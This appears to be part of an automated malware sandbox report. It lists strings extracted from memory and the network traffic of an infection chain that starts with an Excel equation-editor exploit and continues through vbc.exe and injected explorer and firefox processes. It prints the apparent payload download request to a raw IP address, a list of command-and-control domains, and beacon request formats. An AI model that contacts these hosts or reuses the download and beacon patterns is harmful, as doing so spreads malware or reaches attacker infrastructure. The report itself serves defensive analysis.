Source: explorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0B
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://java.sun.com
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: vbc.exe, 00000005.00000000.968983697.000000000040A000.00000008.00000001.01000000.00000005.sdmp, vbc.exe, 00000005.00000002.1002708792.000000000040A000.00000004.00000001.01000000.00000005.sdmp, vbc.exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0C
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0N
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.thawte.com0
Source: explorer.exe, 0000000C.00000002.1184919197.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: explorer.exe, 0000000C.00000000.1042727006.0000000006450000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://treyresearch.net
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: explorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 0000000C.00000002.1194344486.000000000BD76000.00000004.80000000.00040000.00000000.sdmp, wscript.exe, 00000010.00000002.1185783285.0000000002CC6000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000012.00000002.1138870439.0000000001276000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: http://white-hat.uk/u2kb/?MX=PXfMycAZpTAipct8YcIlv
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 0000000C.00000002.1184919197.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.222ambking.org
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.222ambking.org/u2kb/
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.222ambking.org/u2kb/l
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.222ambking.org/u2kb/www.222ambking.org
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.222ambking.orgReferer:
Source: explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.avisrezervee.com
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.avisrezervee.com/u2kb/
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.avisrezervee.com/u2kb/6g
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.avisrezervee.com/u2kb/www.avisrezervee.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.avisrezervee.comReferer:
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.1190328364.0000000004B12000.00000040.80000000.00040000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.bitservicesltd.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.bitservicesltd.com/u2kb/
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.bitservicesltd.com/u2kb/www.bitservicesltd.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.bitservicesltd.comReferer:
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.ecomofietsen.com
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.ecomofietsen.com/u2kb/
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.ecomofietsen.com/u2kb/-wA
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.ecomofietsen.com/u2kb/www.ecomofietsen.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.ecomofietsen.comReferer:
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.employerseervices.com
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.employerseervices.com/u2kb/
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.employerseervices.com/u2kb/EJ
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.employerseervices.com/u2kb/www.employerseervices.com
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.energyservicestation.com
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.energyservicestation.com/u2kb/
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.energyservicestation.com/u2kb/I
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.energyservicestation.com/u2kb/www.energyservicestation.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.energyservicestation.comReferer:
Source: explorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.fclaimrewardccpointq.shop
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.fclaimrewardccpointq.shop/u2kb/
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.fclaimrewardccpointq.shop/u2kb/www.fclaimrewardccpointq.shop
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.fclaimrewardccpointq.shopReferer:
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.germanreps.com
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.germanreps.com/u2kb/
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.germanreps.com/u2kb/5fQ
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.germanreps.com/u2kb/www.germanreps.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.germanreps.comReferer:
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.gritslab.com
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.gritslab.com/u2kb/
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.gritslab.com/u2kb//
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.gritslab.com/u2kb/www.gritslab.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.gritslab.comReferer:
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.com0
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.mygloballojistik.online
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.mygloballojistik.online/u2kb/
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.mygloballojistik.online/u2kb/u
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.mygloballojistik.online/u2kb/www.mygloballojistik.online
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.mygloballojistik.onlineReferer:
Source: explorer.exe, 0000000C.00000000.1045236905.00000000084C0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 0000000C.00000002.1193489586.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1046307432.0000000008611000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleaner1SPS0
Source: explorer.exe, 0000000C.00000002.1193741517.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.1184285879.00000000003A6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1046889553.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.00000000003A6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1046750282.000000000869E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 0000000C.00000000.1036283389.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.1186521094.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerq
Source: explorer.exe, 0000000C.00000002.1189212475.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1039865017.0000000004385000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.piriform.com/ccleanerv
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.shapshit.xyz
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.shapshit.xyz/u2kb/
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.shapshit.xyz/u2kb/www.shapshit.xyz
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.shapshit.xyzReferer:
Source: wscript.exe, 00000010.00000002.1184336192.0000000000624000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/2017/sqlite-dll-win32-x86-3170000.zip
Source: wscript.exe, 00000010.00000002.1187920815.0000000061EA3000.00000008.00000001.01000000.00000008.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.thedivinerudraksha.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.thedivinerudraksha.com/u2kb/
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.thedivinerudraksha.com/u2kb/www.thedivinerudraksha.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.thedivinerudraksha.comReferer:
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.thewildphotographer.co.uk
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.thewildphotographer.co.uk/u2kb/
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.thewildphotographer.co.uk/u2kb/t
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.thewildphotographer.co.uk/u2kb/www.thewildphotographer.co.uk
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.thewildphotographer.co.ukReferer:
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.un-object.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.un-object.com/u2kb/
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.un-object.com/u2kb/www.un-object.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.un-object.comReferer:
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.white-hat.uk
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.white-hat.uk/u2kb/
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.white-hat.uk/u2kb/www.white-hat.uk
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.white-hat.ukReferer:
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.younrock.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.younrock.com/u2kb/
Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.younrock.com/u2kb/www.younrock.com
Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.younrock.comReferer:
Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: wscript.exe, 00000010.00000003.1126038884.00000000053D0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.dr String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: wscript.exe, 00000010.00000003.1125814665.0000000006554000.00000004.00000020.00020000.00000000.sdmp, HI4NJ046K.16.dr String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.digicert.com/CPS0
Source: HI4NJ046K.16.dr String found in binary or memory: https://www.google.com/favicon.ico
Source: explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DB46BBB0.emf Jump to behavior
Source: unknown DNS traffic detected: queries for: www.white-hat.uk
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035B0646 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035B0646
Source: global traffic HTTP traffic detected: GET /889r12/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.189.202.84Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /u2kb/?MX=PXfMycAZpTAipct8YcIlv+jRzdgnyvgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTC045fzMwSdM+ozxnu9rCO36QPo=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.white-hat.ukConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /2017/sqlite-dll-win32-x86-3170000.zip HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.sqlite.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /u2kb/?MX=ydCzFiH7iMWnz6xHMbeyIS2EYayY5efYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNK7QGdClLf278PMkWXjYWxIQds=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.gritslab.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /u2kb/?MX=rr+sOBvEXsBdGevUkpEFvjOGSuYjzi1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXnwfbSEi+kURcMlXNjU4ipRv+g=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.bitservicesltd.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 20 Mar 2023 09:34:53 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 37 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 72(HML),I310Q/Qp/K&T$dCAfAyyyzzJaC0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 20 Mar 2023 09:34:56 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 37 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 72(HML),I310Q/Qp/K&T$dCAfAyyyzzJaC0
